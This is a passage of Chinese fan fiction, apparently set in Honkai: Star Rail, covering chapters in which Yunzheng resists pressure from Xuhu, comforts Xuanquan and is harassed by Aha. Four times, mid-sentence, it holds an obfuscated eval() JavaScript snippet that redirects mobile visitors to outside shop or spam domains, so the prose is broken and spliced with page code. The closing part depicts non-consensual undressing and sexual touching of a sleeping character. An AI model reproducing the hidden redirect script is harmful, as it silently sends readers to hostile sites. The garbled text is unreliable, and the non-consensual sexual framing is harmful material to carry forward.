【峥:好,汝之言吾会听。】
看着云峥的回复,天风君眼底闪过温和的笑意,嘴角不自觉地翘了起来。
其实,他也不算是没有收获不是吗?
/
关闭与天风君的聊天,再回转到已经99+的隔壁,云峥只淡定地回了句。
【峥:说事。】
若倏
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14001324|145567||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
忽还是说些杂七杂八的话,那祂还是继续呆在黑名单里面吧。
【(树苗):我真服了你了。】
被云峥连续拉黑,倏忽也身心俱疲,顾不得再和对面争了。
【(树苗):我有一个计划,你要一起吗?有你相助,这群妖弓鬣狗必然会损失一艘仙舟。】
到底是很久没与对方见过,倏忽也不敢相信,简单一道并未将计划全盘托出。
【峥:……】
拨按键盘的手指停顿,云峥眼神一冷。
【峥:汝猜近来玉阙的援手来自何处?】
【(树苗):知道是你派来的,但那又如何?】
【(树苗):你就真的不想让这群拿着仙主的好处却张口反咬仙主的蝼蚁付出代价吗?】
【(树苗):别忘了,是谁一次又一次地救了你,而又是谁在你伸出援手时让你再次濒死。】
【(树苗):妖弓和祂那群鬣狗可从来不是什么好东西,我们才是你的归处。】
【(树苗):倘若你的身份暴露,仙舟会怎么对你,你很清楚。】
【(树苗):你明白我的意思,我不会强迫你,但我不允许有人背叛祂。】
【(树苗):选择权依旧在你手上。】
看着左上角的小字“对方正在输入中”出现再消失再出现,倏忽知道自己说的话起效了。
祂好心情地眯着眼,即便此刻外围还有些大片的追兵搜寻着祂。
不过是群穷追不舍的杂兵不值得祂上心,只要等到将他们引入陷阱就可以一网打尽了。
对话框里的字句删删减减,最后归零。
正倏忽所说,他何尝不是心知肚明。
对巡猎和仙舟,他亦心存恨意。
可葬送掉一整座仙舟的生灵,让那数以百万计的鲜活生命,因倏忽的恶念归于死亡,他更做不到。
【峥:吾,做不到。】
云峥做不出选择,他选择放弃。
【(树苗):那便不要插手。即便是他们要求方壶支援,你也不准同意。】
【(树苗):你不会愿意在方壶见到我的。】
【(树苗):你知道的,因为有你在那,所以我才没对方壶动手。】
【(树苗):不要成为叛徒,不要逼我。】
倏忽的话语一句接着一句,每一句都直击中心,丝毫不给云峥逃避的机会。
【峥:…好,方壶不会支援。】
云峥闭了闭眼,终是妥协了。到那时…方壶不出援手,那他一人去便是。
文字游戏,他亦能诡辩。
云峥的退步让倏忽很满意。
但打一棒给个甜枣这个道理,祂还是懂的。
【(树苗):真乖,等你回来,我们再一起跟仙主去看极光吧。】
【(树苗):阿峥,我们都很想念你。】
【峥:…嗯,会回去的。】
“龙尊大人,到了。”
耳边传来侍从弥冬的提醒,云峥垂眸打下最后一句,关上了玉兆。
会的,他会回去的。不仅是为了方壶的安危,更是为了祂。
……
21.阿哈
沉默片刻后
“吾去见见冱渊。”
止步于寝殿外,云峥侧眸看向行止乖巧的侍从,轻声道。
此刻他已无去查看白日那相争二人境况的想法,更多的是想去见见他的继任者,去肯定自己的想法与选择。
“是。”弥冬微微躬身。
目送着龙尊走向偏殿,直到不见背影,他方才转身入殿。
他也该提醒一下侍从们准备餐食了,等龙尊大人和小殿下交谈完毕便可直接用餐了。
殿门被龙尊轻轻推开,沉重而古老的门扉发出微微的吱呀声。
踏入偏殿,目光便直直地落在了那埋于一堆课业中的小脑袋。
日近落山,玄全也没能解决掉她繁重的作业。
她的手中紧握着一支笔,偶尔咬上几口,思绪却在书页中沉沉浮浮,似乎要在其中寻找到答案。
“何处不解?”云峥抬步至其后,俯身而看。
听到熟悉的声色,玄全松了口气,小手一指书上她所圈出的位置,“这里。”
云峥低下头,视线落在那本厚重的书籍上,浅略扫过整张书页的内容,很快便知晓了玄全为何困惑于此。
“【持明】与联盟的盟约,是为了【持明】的延续。”
龙尊垂眸,声音轻又清晰地为玄全讲解着那段过往,诉说着曾经的困境。
“持明一族与仙舟结盟,由五位龙尊守望祸迹,万世不辍。”
“宇宙变化无常,而「不朽」已逝,永恒无意义。若不依靠星神,【持明】难逃一劫。”
“唯有遭遇劫难,且刚诞生星神的仙舟,最为合适。”
龙尊的目光透过书页,似乎越过时间的长河,直抵那段尘封的往事。
“当汝融贯传承记忆,汝会明白的。”
龙尊抬手落在玄全的发顶上轻揉,他叹息着:“【持明】,无路可走。”
身处那时的【持明】一族,只有这一条解法。
连云峥都得承认,换做是他也会是同样的做法。
与仙舟结盟,移族于仙舟上,以【不朽】之力镇压【丰饶】的长生赐福,从而换取【巡猎】星神的庇护。
“我还不傻。”
玄全轻盈地挥掉落在她头顶的手。
“我还有最后一个问题。”她微微抬头,月白色的眸子如同夜空中最闪亮的星辰。
“你觉得,【丰饶】与【巡猎】谁对谁错?”
被如此询问的龙尊为之一愣,心中泛起波澜,却在对上她的眼神后明白了所有。
那双清澈的眼眸毫无保留地倒影着他的模样。
被看出来了啊,龙尊心中一叹。
在玄全的注视下,那向来淡漠的神情微微松动,龙尊嘴角勾起一抹浅淡的笑容。
他将问题重新抛回,声音依旧温和,却在那平静之中隐含着一丝隐隐的期待。
“汝觉得呢?”
你是怎么看待丰饶与巡猎,又是怎么看待我这位丰饶令使的呢?
玄全亦回以笑容,“祂们,都没有错。”
“你也一样。”
玄全站起身,伸手抓住那一直悬停侧放在自己肩处的宽大手掌。
“我的回答还是那个,不论你是何人,你在方壶,便是这方壶的龙尊,无人可驳。”
“所以,别不开心了,你没有任何错。”
她踮起脚,努力地向上拍拍他的手,只不过由于身高的差距,轻轻拍落在了云峥的手臂上,传达着她的小小安慰。
“…吾…没有不开心。”云峥叹息着,声音低沉而温柔,却蕴藏着不为人知的忧虑。
他轻轻地将小持明抱起,怀抱温暖而包容。
与龙尊视线持平后,玄全看着龙尊,认真且坚定道:“我能感受到的,你要跟我说实话。”
“吾只是,忧心吾之选择,其是否正确。”
龙尊低声呢喃着,微微闭眼,额头轻轻抵上她的额头。
“仙舟吾尚可不管,却不能置汝等于不顾。”
“吾放心不下。”
他做不到,为了一己之私放弃族群,放弃这些陪伴他已久的族人。
玄全伸手,温柔地抱住龙尊的脖颈,小小的脑袋也搭在上面。
她温声道:“我知道的。”
玄全太清楚眼前的持明究竟有多温柔,即便看上去有多么冷淡无情,拒人于千里之外,却从未伤害过方壶中的任何人。
“没事的,你可以和我说。”
“我会帮你的。”
玄全向他承诺道,“只要你需要,我都愿意帮忙。”
“…不需要。”
龙尊拒绝了。
他将小持明抱得更紧些,重复呢喃着,“不需要,不需要。”
他会处理这些的,不需要一个孩子,尤其是她来帮忙。
“汝安心学习便好,一切有吾在。”
所有的事情都不会打扰到你的成长,没有人、包括他。
玄全:“……”
玄全气的得磨牙,啊啊啊!这家伙怎么这么死脑筋啊!
稍微依靠一下别人又不会怎么样!非要死板得连个商量的对象都不给!
在龙尊的后视盲区,玄全握着拳,恶狠狠地在龙尊的后脑勺外挥舞,恨不得给这家伙来上几拳,让他开开窍。
又不是他一个人的事,还非要一个人扛,真当自己是神了啊!
云峥就这样抱着玄全抱了好久,久到玄全自己说服了自己,不再生云峥的气。
玄全在心里叹气,摊上这么个温柔又死板的龙尊,她能怎么办?当然是想方设法保护好家人了。
直到殿门被敲响,云峥方才回过神,将玄全放下,垂眸轻问:
“要一起用餐吗?”
玄全:“?不一起,你还想饿着我?”
云峥摇头,“没有,只是怕汝不喜与吾相处一室。”
“你整天都在胡思乱想,我哪有讨厌你。”
玄全拉着云峥的手,迈着小短腿,牵着他一起往外走,嘴里也嘟嚷着对云峥的不满。
云峥:“……嗯”
“说好的当老师,结果又把我交给了龙师,你真不负责任。”
“嗯,吾错了。”
“哼,要是你能真将我的话听进去,那才是真的知错就改。”
迎着傍晚的清凉夜风,玄全扭头回望,眼中多了些恨铁不成钢之意。
“…抱歉。”
龙尊重复着道歉,却丝毫不见有任何动摇的情绪变化。
“啧。”玄全撇撇嘴,转回头。
果然,预料之中的回答和表现了。
这顿晚餐,还是玄全第一次跟云峥共处一桌。
食不言寝不语,两人在饭桌上安静得没有任何交流,气氛倒是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14009917|145567||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说不出的宁静而美好。
玄全一边吃着,还时不时地观察着龙尊。
不过,云峥却始终都维持着那一惯平静,除了偶尔会为玄全夹了些她够不着的菜肴。
“汝想听什么?”
吃完饭,等侍从将餐桌收拾干净,云峥开口道。
“他们说的你可以在梦中觐见龙祖,是真的吗?”
说这话时,玄全眼中满满的狂热与期冀。
她没有怀疑龙师的话,毕竟他们也没必要拿这种荒唐离谱的谎言欺骗自己。
所以——她更想听云峥亲口承认这件事。
云峥:“……”
都这么问了,云峥也不能否认,张了张嘴,准备肯定玄全的猜想:“是——”
下一秒,另一道盖过了他的话语。
“当然是~假的~啦~”
一个Q版小人顶着熟悉的欢愉面具,举着两个小风车啪嗒一下从空中掉落,稳稳当当地站在了餐桌上。
“?”玄全的脑袋上冒出一个大大的问号。
“你是什么玩意?”
玄全忍不住伸手,戳了戳这个一眼软糯糯的小人,格外好奇。
“阿哈…”
看到这独特的造型,龙尊抬手扶额。
“您来方壶有何要事?”
龙尊抬起手,将被玄全逗弄的小人解救下来,放在自己面前。
“什么!祂是常乐天君?!”玄全惊得从椅子上蹦起来。
“小龙龙不要太惊讶嘛,阿哈可是过来找你的老师玩游戏的~”
阿哈摇着手上的小风车,在桌子上转了个一圈。
和小龙打完招呼,祂又蹦蹦哒哒地转头与云峥聊天。
“嘻嘻~小云峥真是好久不见,阿哈可是刚摆脱小人马的追求就来找你玩了哦~”
“小云峥,为了你的生辰礼,阿哈可是在星海被小人马追了好几天呢~”
“所以~小云峥是不是该补偿一下阿哈~”
屈指,一弹。
小Q人就像一只失去控制的小鸟,扑腾着飞离了桌子,重重地摔在了地上,发出一声闷响。
不想搭理阿哈的龙尊干净利落地将阿哈从眼前清理出去。
他的脸上仍旧保持着一贯的淡然,就像是被他弹飞的不是一位星神一样。
玄全则傻愣愣地坐在椅子上,目不转睛地注视着龙尊。看到他如此对待欢愉星神,眼睛都变成了星星眼,钦佩之情溢于言表。
玄全:哇哦,他连阿哈都敢弹飞哦。
龙尊深吸一口气,重新回归之前的话题。
“吾的确在梦中见过祂。”
他轻声道,“两次。”
“啊,好,那真是太好了。”玄全下意识地回答。
片刻后,她才反应过来,刚刚龙尊说了什么。
于是,她立刻将目光投向云峥,眼中闪烁着希望的光芒,像是那星空中明亮的星辰,“我也可以见见吗?”
龙祖,作为后裔的她也想朝见。
没等龙尊说话,刚刚起飞的阿哈小人重新爬上了桌子。
祂举起小风车,俨然一副蓄势待发的样子,“阿哈也要见龙!小云峥要带小龙龙的话,就也要带着阿哈一起!”
云峥:“……”
请问你是否给了我拒绝的机会?
不,你没有。
……
22.睡觉
阿哈可以不管,但是玄全期待的模样让龙尊心中无奈,又无法拒绝。
“吾不知道,但下次见祂,吾会问。”
龙尊一边承诺下次见到龙会询问是否可以带外人觐见,一边用手捏住小人,手动让阿哈住嘴,不许祂再说出半个捣乱的字。
“唔!唔!唔!”
被蒙住嘴,只能发出模糊的音节的阿哈挣扎着想要摆脱龙尊的大手,却被其攥进拳中。
奈何这具小躯体太过弱小,根本反抗不了龙尊。
“汝先休息。”
云峥对着玄全颔首道,“琐事明日再论。”
“嗯,好。”玄全乖巧点头,小眼睛却止不住地朝着龙尊攥紧的拳上看。
她有点好奇,龙尊接下来会怎么处理常乐天君。那可是欢愉星神啊!
目送着玄全离开,云峥才摊开手掌,两指将掌心躺着的阿哈小人提溜着至眼前。
“无事不登三宝殿,您此次前来又所为何事?”
想到阿哈每次来找自己时所闹出的事端,云峥感觉自己的太阳穴又在隐隐作痛了。
被揪住命运的后颈,阿哈挥了挥手上的小风车,小巧面具露出的那双眼睛里满是无辜。
“阿哈只是想找小云峥玩游戏,没有坏心思哦~”
云峥抿唇,“…您的游戏,恕云峥无法苟同。”
寰宇中,所有人都对乐子神的脾性心知肚明。所以,祂口中的游戏能是什么好游戏?
不是乐子,就是更大的乐子。反正最后遭殃的还是被迫参与游戏的人。
“小云峥不要这么扫兴嘛,这真的是个好游戏,你信信阿哈嘛~”
“好嘛~好嘛~”
这幅软糯小人的模样太适合阿哈用来撒娇了,Q萌得让龙尊都有点心软了。
指尖戳了戳软软的身体,感受着肉呼呼的手感,云峥眯起了眼睛。
嗯……好吧,阿哈这次的新样子的确很可爱,当然是无视那张面具的话。
撒娇这种操作阿哈简直屡试不爽,尤其是这次特意换了个新体态。
见人儿已经动摇,祂连忙趁热打铁,连连晃着小脑袋继续卖萌。
“求求小云峥了,不要拒绝阿哈嘛!”
“这个游戏真的很有趣,阿哈保证不会亏待小云峥的!”
“请小云峥相信阿哈一次~好不好嘛~”
“……”
龙尊保持沉默。
撒娇的话语听多了,云峥的大脑反而清醒了不少。
想想阿哈的真实面孔,再对比一下现在的姿态,龙尊险些手一抖,将其丢出。
“不行。”龙尊严词拒绝。
虽然最后还是会被阿哈强制进游戏,但他觉得还是有必要挣扎一下。
万一成功了呢?万一呢?能少受折磨一次也是成功。
龙尊快手将阿哈放在桌上,以迅雷不及掩耳之势起身跑路,像是生怕被打翻的垃圾桶里的垃圾沾染上鞋底一般飞速离开。
当然临走前还不忘吩咐侍从将殿内清理一下,仿佛殿内有什么污染物。
行色匆匆的龙尊如风般,侍从们只当他又想起些许要事急着处理才如此匆忙,殊不知他其实是为了逃避现实。
刚将房门关上,耳边就传来令人惊悚的嬉笑声。
“哈哈,小云峥真可爱,可爱到阿哈都不忍对你下手了~”
不想扭头面对阿哈的龙尊就这样对着门开始了面壁思过。
或许他应该采用一些更激烈的手段,例如——刚刚应该把阿哈丢进鱼池里喂鱼,或者是在竹林里挖个坑埋进去将阿哈当作肥料。
龙尊不走心地想着。
“小云峥怎么不看阿哈,是觉得阿哈太丑了吗?”
随着思绪逐渐飘远,龙尊忽然觉得后背一凉,原本隔着远的声音及近,带着一股子哀怨的味道响在身侧。
眨眼一瞬,一双幽红的眸子已然在视线中放大,如同夜空中闪烁的星辰般,令人心生畏惧。
空旷的房间中,从软糯小人恢复成成年人大小的祂朝着龙尊贴近,两人之间的距离很快就缩短到只剩一指的间隔。
似乎是有了什么有趣的想法,祂勾唇微笑着伸手,轻轻撩起龙尊额前的碎发,动作间带着一丝暧昧和愉悦。
“小云峥莫不是怕了阿哈,怎么都不好好看看阿哈?”
阿哈的声音低柔,仿佛是在诱惑,又像是在试探。
温热的吐息打在脸上,伴随着一丝淡淡的甜腻,龙尊有些不适地后退几步,拉开与阿哈的距离。
他微微冷了脸色,“还请不要拿云峥打趣。”
阿哈微微一怔,随即苦恼地摸着下巴,神色间透出几分委屈,像是一只被遗弃的小猫。
“明明是小云峥的不对,毫不留情地将阿哈丢下又来指责阿哈。”
龙尊目移,你自己什么德性你自己难道不该心知肚明吗?还想让我怎么说?
我不把你丢了,难不成还主动把自己贴进去?
龙尊心中颇为无语,但没骂(划掉)说出来。
墙壁上斑驳的光影在烛火的映照下摇曳不定。
烛光微弱,跳动间将整个房间笼罩在一种温暖而又略显阴郁的气氛中。
空气中弥漫着淡淡的蜡烛香气,夹杂着不知名的草木清香,让人不禁恍惚。
阿哈则在这样的氛围中露出一个诡异且兴奋的笑容,宛如月下的女鬼般。
“亲爱的小云峥能否满足阿哈一个小小心愿呢~例如——”
“让阿哈与陨落的不朽见上一面的~”
云峥:“?”啊?
根本不给他任何反应和拒绝的机会,祂便强硬地拽着他向床边走去。
“小云峥是在梦里见的不朽吗?”
“那今天就让阿哈哄小云峥睡觉觉吧~”
阿哈的声音如同温柔的呢喃,却带着一丝不容抗拒。
肩膀上传来一股大力,云峥只来得及微微挣扎,便被推搡倒在柔软的床铺上。
若非床上厚实的被褥柔软,恐怕云峥的后脑勺早已撞上硬邦的床板。
从未如此想要骂人的龙尊睁着一双眼睛死死盯着突然犯病的阿哈。
“乖乖峥峥,快快睡觉~”
阿哈笑眯眯地伸出手,手动帮云峥阖上眼。
睁眼一片黑的龙尊只能保持沉默:“……”
他讨厌这些除了丰饶仙主脑子都有病的星神,尤其是欢愉。
“闭上眼睛~乖乖睡觉~阿哈在哦~”
阿哈哼着自编的小曲,如同逗弄孩童一般,用指腹在云峥眼角处轻轻刮来刮去。
似是玩儿上瘾了,便俯身贴上去,凑近,再凑近。
“别闹了。”云峥低声抗议,满心无奈。
感受着炙热的气息,龙尊抬手推了推,企图拉开这令人窒息的距离。
说是让他睡,结果又闹他。
“阿哈明明是在哄小云峥睡觉,阿哈可没有捣乱。”
阿哈对龙尊的抗议视若无睹,“不过看在小云峥一个人睡不着的份上,善良又好心的阿哈就陪可怜的小云峥一起睡吧~”
云峥无力地僵住不动,任由祂靠近,直到自己被拥入一个不算太过宽阔却也足够温暖的怀抱里
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14024306|145567||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
他的身体被阿哈抱得牢牢的,甚至连手臂也不得动弹,呼吸间尽是对方甜腻的味道。
所以——
阿哈今天是不是吃了太多的甜食?
心中一阵乱麻,云峥止不住地胡思乱想。
“小云峥现在可以睡喽,有阿哈陪你睡呢~”
阿哈抱着他,声音柔和,只是其中夹杂着一点诡异的兴奋。
云峥:“……”
不太习惯被人抱着,龙尊尝试着挣扎两下,然后在发觉阿哈的手臂箍得越来越紧之后放弃。
反正也挣脱不开,何必白费力气。
“您开心就好。”他轻叹道。
挣扎无果,云峥只能强制自己摒去那些繁杂的思绪,安心睡觉。
不就是想见父亲吗,他睡就是了。至于能不能得偿所愿见到祂就不是他能左右的事了。
就在他逐渐沉入梦乡之际,不知是故意还是无心之举,一颗温热的脑袋悄然搭在了他的脖颈处,柔软的发丝轻轻蹭过他的肌肤,带来微微的痒意。
龙尊不自觉地皱起了眉,即便渐渐沉入梦乡,但也难以忽视这突如其来的亲密。
显然阿哈是经过专业的知识训练,手掌轻轻拍着龙尊的后背,似是在用心哄其入眠。
祂轻拍着后背,轻哼着小调。
“睡吧~睡吧~阿哈的小云峥快快睡吧~”
随着时间的推移,意识渐渐模糊,龙尊渐渐陷入浅眠,浑然不觉枕在他肩头的祂悄然睁开双眼。
烛火无风自灭,阿哈幽幽泛着红光的瞳孔紧紧注视着云峥。
龙尊毫无防备地进入梦乡,陷入沉睡。
“真是可惜,是察觉到不对劲所以才不出现吗?”
看着睡得安稳的龙尊,阿哈有些苦恼,祂并没有感知到任何不朽的波动。
“为什么不朽不想见阿哈呢?阿哈可是好孩子,可以帮助不朽的啊…”
阿哈委屈地皱起眉,手指无意识地勾勒着云峥光滑的皮肤,似乎很是懊恼。
眸中闪烁着幽光,阿哈附在龙尊的耳边喃喃:“不让阿哈见你的话,那阿哈可就要在这里住下了哦~”
“阿哈会每天都抱着小云峥睡觉,而可怜的不朽只能眼睁睁地看着哦~”最后那句祂说得极其缓慢,甚至加重了语气。
可惜的是,祂期望的变化依旧没有,就好像不朽真的陨落的彻底,什么都没留下。
阿哈岂是会这么轻易就放弃的呢?
祂眼底一暗,似是想到什么,旋即却又流露出一抹兴味之色。
嘴角扬起一个诡异的弧度,祂自言自语道:“阿哈忘记了,穿着衣服睡觉可是很不舒服的。”
“所以,让阿哈来帮小云峥脱衣服吧!”
想法既荒唐又令人兴奋,似乎已经预见到接下来的局面,祂的脸颊上因无法抑制的期待而浮现出一层红晕。
缓缓地,阿哈的手指探向了深睡中的龙尊的衣襟,细腻的布料在指尖滑落。
带着一丝恶趣味,手指再次轻轻划过,玩弄着那未完全解开的扣子,轻轻摩挲。指尖的温度在布料上游走,留下一道微微的热痕。
祂在等,等不朽按耐不住的那一刻。
“阿哈的小云峥,就算是睡觉,也让阿哈喜爱啊……”
再加上一点点的言语和动作刺激,然后就是——
「滚进来!」
就在手指轻轻扯开龙尊外衣的第一枚扣子时,带着一丝恼怒的低吼声响起。
看,猎物还是上钩了。
无人可见的黑暗中,阿哈咧开笑容。
……
23.欢愉
作为最古老的星神,拥有着深邃智慧的【不朽】龙头一次觉得自己还是见识短浅了。
寰宇之中,竟然还有如此厚颜无耻的星神。
不仅对祂的子嗣动手动脚也就算了,还大胆地想要当祂的面行这种不轨之事,令人发指。
祂简直就是——
败类!
星神中的败类!
哪怕已经被自己阻止,单单是想想那种情景,龙的心头就忍不住燃起一股难以压抑的怒火。
于是,当那属于欢愉的红色面具悄然钻入梦境时,祂毫不犹豫地一尾巴抽过去。
面对突然迎面袭来的巨大的玄色龙尾,阿哈显得从容不迫、不慌不忙。
祂轻巧地操控着面具,宛如一只优雅的鸟儿,在空中翩然升起,迅速躲过了这当头一击。
见阿哈躲过,龙又一尾巴甩过去。
“哎呀呀,龙这是生气了吗?可阿哈还什么都没有做呢~”
再次躲过袭来的龙尾,阿哈眨眨眼,声音略带惊讶。
面具在空中轻巧地旋转,急速飞至龙的面前。
无视龙展现出的愤怒,祂像一位无辜的受害者委屈辩解:“阿哈能有什么坏心思,阿哈只是为了见到龙罢了。”
然而阿哈的这番惺惺作态却令龙的怒火倍增。
祂压根没有和阿哈玩闹的心情,直接伸出爪子,狠狠扯住那张面具,将其牢牢捏在掌中。
“此非汝轻弄吾子之辞也!离吾子远一点!”
龙眯起眼睛,爪尖一点一点地划过面具,刺啦的声响衬得祂的声音格外阴冷,让人汗毛直立。
“若汝仍不知分寸,吾不介意教汝。”祂低沉的声音宛如来自深渊的低语。
龙如此生气正合阿哈的期望。
祂毫无畏惧其威胁,反而用一种天真的诚恳的语气回应:“阿哈怎么会呢,龙可不要乱想。是小云峥太可爱了,龙爸爸又不在家,所以阿哈才替龙爸爸照顾他而已。”
龙眼中的寒芒几欲化为实质,将阿哈撕成碎片。
“汝果然对吾之子嗣有非分之想!”
偷孩子的混蛋,不可饶恕!
盛怒之下,龙毫不留情地握紧爪子,面具在其力量下应声而裂,碎片飞散,犹如一场无声的暴风骤雨。
祂心知如此做法对星神不会造成实质性的伤害,但出口恶气也能稍稍平息些祂的怒火。
“龙的脾气可真大,怪不得小云峥都不亲近你。”
伴随着感慨的叹息声,被捏碎的面具碎片闪烁着微光,逐渐重新聚合成一张全新的面具,最后被虚幻的人形捏在手中。
捏了个人形的阿哈笑眯眯地仰视着这条笼罩着梦境世界的巨龙,接下来吐露的话语却如同一把利刃,直刺龙的心窝。
“但是真可惜~小云峥现在最喜欢的应该是药师,其次就是阿哈。”
“而可怜的龙在小云峥心里的位置大概率只能跟岚那个人马持平喽~”
那句“可怜的龙”像极了讥讽的咒语,为龙的怒火火上浇油。
而阿哈的声音依然回响在梦境中。
带着一丝装模作样的同情,祂双手戏剧性地捂住了胸口,眼中泛起泪光,仿若随时会因龙的惨遇而流下几滴“感动”的泪水。
“坏蛋龙爸爸抛弃了可怜的孩子,而善良的好心人阿哈实在看不过去,接手了养育孩子的工作,这是多么感人的故事啊——”
这般表演若是在别处,龙或许会为这份情感而心生触动,然而此时此刻,这些话语却是在指桑骂槐地暗指祂不负责任,抛弃了孩子。
烦躁不安的情绪如同潮水般涌来,龙感觉血压骤然上升,胸膛中怒火翻腾的同时,心底也升起些许委屈与无奈。
若非祂陨落,又岂会让祂的龙裔流落在外。
可惜,阿哈的嘲讽与挑衅并未因此而止步,话语毫无顾忌地挑动龙的神经。
“当然,如果龙真的养不过来孩子,阿哈可以接手的。”
“只需要把‘持明是不朽的龙裔’改成‘持明是阿哈的孩子’就可以喽~”
阿哈脸上是真切的笑容,认真地向龙推销这桩划算的买卖,还列举出买卖的双方好处。
“小云峥以后喊阿哈【父亲】,而龙你以后都不用操心持明的事了,多好的事啊你说是不是~”
持明的归属就这样被阿哈三言两语定下,像是断定龙会同意一般。
龙:“……”
祂受不了了,真的!
欢愉星神真够不要脸了!抢祂一个孩子还不够,现在还想将祂所有的孩子都抢了!
祂深吸一口气,内心的怒意如同狂风暴雨般翻涌,难以抑制。
忍无可忍地抬起爪子,强大的能量汇聚,璀璨而又耀眼的光芒凝于掌中,想要直接将阿哈从梦境中抹去。
让这该死的星神败类彻底滚出去!
再让这该死的玩意待下去,祂未来都别想有一个清静日子了!
阿哈早就防备龙会破防出手。
祂还没玩够呢,怎么能让龙就这样将祂撵出去呢?
在龙即将落下攻击的前一秒,阿哈展露笑容,向前伸出手臂,随后祂的怀中多了一道身影。
“龙,你看——这是谁~”
阿哈像是炫耀般,特意将怀中人的脸对准祂。
“?!”
龙的目光被阿哈的手一引,瞬间定格在那道身影上,愤怒与震惊交织在一起,几乎要将后槽牙咬碎。
那是云峥,是祂的孩子。
可是攻击早已经施展而出,不想伤到崽的祂也只能迅速甩出龙尾,让那一击重重地落在自己坚硬的龙鳞上。
“欢愉!”
化解掉攻击后,祂朝着下方的阿哈低吼。
阿哈的无耻再度令祂大开眼界,祂与祂之间的事,还把祂崽扯进来。
“龙实在太凶了,阿哈觉得小云峥可能没见过,所以才将小云峥拉进来了。”
阿哈的声音中透出一丝委屈,为自己的行为辩护。
“难道帮小云峥认识更真实的龙,阿哈也有错吗?”
祂坐在地上,抱着小云峥,眼泪唰的一下夺眶而出,假装悲伤地啜泣着,宛如一场荒诞的戏剧。
龙气急了:“把他还给吾!”
然而阿哈充耳未闻,演泪戏还不忘当着龙的面亲吻云峥的脸颊。
怕吵醒到云峥,祂提醒龙:“龙的声音应该再小点,不然可是会吵醒小云峥的哦~”
“汝!”
龙想骂,龙的愤怒几乎要爆发,但当目光落在乖巧躺在阿哈怀中、沉沉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14037401|145567||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
入睡的小云峥身上,还是强忍着怒火,化作人形,悄然降落在阿哈身旁。
毫不客气地从阿哈怀中抢回自己的子嗣,龙没忍住,伸脚踹了阿哈一脚。
“不要脸的家伙!”
抢祂孩子还有理了。
抱着自家孩子离得阿哈远远的,龙才舍得分出点注意力在阿哈为何要见祂的事情上。
“说吧,汝为何执着于见吾?”
龙保证,若是阿哈说不出个所以然,祂就打爆祂的狗头。
阿哈毫不在意地抹去了虚假的泪水,慢悠悠道:“因为阿哈真的很想让小云峥成为阿哈的孩子。”
“……”
龙抡起了拳头。
还不想跟龙把梦境打得天翻地乱,阿哈耸耸肩,无奈道:“好吧,阿哈说实话。阿哈其实很好奇龙为什么还活着。”
“按道理讲,互那个强迫症是不会允许你还存在的。所以你怎么活下来的?”
阿哈像是求学好问的学生提出自己的疑问,想要得到龙的解释。
龙冷哼:“就凭祂?”
何为【不朽】?【均衡】又何尝不是另一种不朽?但光均衡的话,想制裁祂?那不可能。
“汝既知世界之实,又何需吾细说。”
龙低头望着云峥的睡容,神情柔和不少。
“吾可不在意其他,但……”
“他,不行。”
祂将云峥抱得更紧些。
像是想起什么,龙瞥了一眼阿哈,目光一瞬间冰冷无比。
“汝若再动他休怪吾不客气,此为终诫,汝好自为之。”
说罢,龙就毫不客气地将阿哈从梦境世界踢了出去。
什么玩意天天想着拐祂崽,欢愉你是自己没有信徒吗?
/
被踢出梦境世界,阿哈也没有一点不高兴,毕竟祂已经得到自己想要的消息。
看了看还在熟睡中的龙尊,阿哈计从心生。
望着被祂扯开的衣扣,祂干净利索地将剩下的扣子全部解开,帮龙尊褪去外衣,随意地丢在床脚。
祂可没说,见到了龙就不会继续哦~
里衣的领口因着阿哈的动作松散开,露出里方漂亮惹眼的锁骨。
坏心思的祂低头,张口咬上娇嫩的肌肤,用牙齿在上留下极具迷惑性的咬痕。
“哈,阿哈是真的希望龙将小云峥送给阿哈的,只可惜龙实在是太小心眼了。”
小心眼到碰两下就要打要杀。
下滑的手掌掠过腰线,溜进衣摆缝隙摸索着未知的领域。
祂低笑着轻叹:“既然抢不到喜爱的小龙,那阿哈就只能先收点利息了。”
“反正——”
